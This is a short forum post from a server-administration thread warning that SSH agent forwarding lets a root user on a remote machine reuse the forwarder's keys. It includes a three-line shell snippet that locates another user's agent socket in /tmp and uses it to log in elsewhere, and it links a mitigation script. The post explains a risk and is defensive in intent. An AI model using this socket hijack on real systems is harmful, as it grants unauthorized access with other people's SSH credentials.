Scripts to be "quick and efficient" - Servers Administration, Networking, & Virtualization

Users browsing this thread: 1 Guest(s)
gaak
Members
(08-09-2018, 08:05 PM)z3bra Wrote:
Code:
addkeystoagent yes
forwardagent yes

The agent forwarded on the remote box now has access to all your keys -- i.e. some other root user on one of your work boxes can run:

Code:
sock=`ls -l /tmp/ssh-* | grep $YOUR_USER | awk '{print $NF}'`
SSH_AUTH_SOCK=$sock ssh irc.iotek.org
echo commence lulz...

A bit ago I wrote an inelegant hack to deal with this https://github.com/patrickhaller/bash-ssh-agent


Messages In This Thread
Scripts to be "quick and efficient" - by venam - 02-09-2018, 02:35 PM
RE: Scripts to be "quick and efficient" - by jkl - 03-09-2018, 08:43 AM
RE: Scripts to be "quick and efficient" - by jkl - 03-09-2018, 10:02 AM
RE: Scripts to be "quick and efficient" - by oda - 04-09-2018, 12:59 AM
RE: Scripts to be "quick and efficient" - by pkal - 06-09-2018, 07:36 PM
RE: Scripts to be "quick and efficient" - by jkl - 06-09-2018, 07:44 PM
RE: Scripts to be "quick and efficient" - by pkal - 07-09-2018, 11:58 AM
RE: Scripts to be "quick and efficient" - by jkl - 08-09-2018, 08:21 PM
RE: Scripts to be "quick and efficient" - by xero - 25-10-2018, 01:01 PM
RE: Scripts to be "quick and efficient" - by gaak - 07-01-2019, 09:20 AM
RE: Scripts to be "quick and efficient" - by twee - 07-01-2019, 04:54 PM
RE: Scripts to be "quick and efficient" - by evbo - 17-01-2019, 01:47 PM
RE: Scripts to be "quick and efficient" - by s0kx - 17-06-2021, 03:11 AM
RE: Scripts to be "quick and efficient" - by jkl - 17-06-2021, 07:06 AM
RE: Scripts to be "quick and efficient" - by pfr - 22-06-2021, 10:50 PM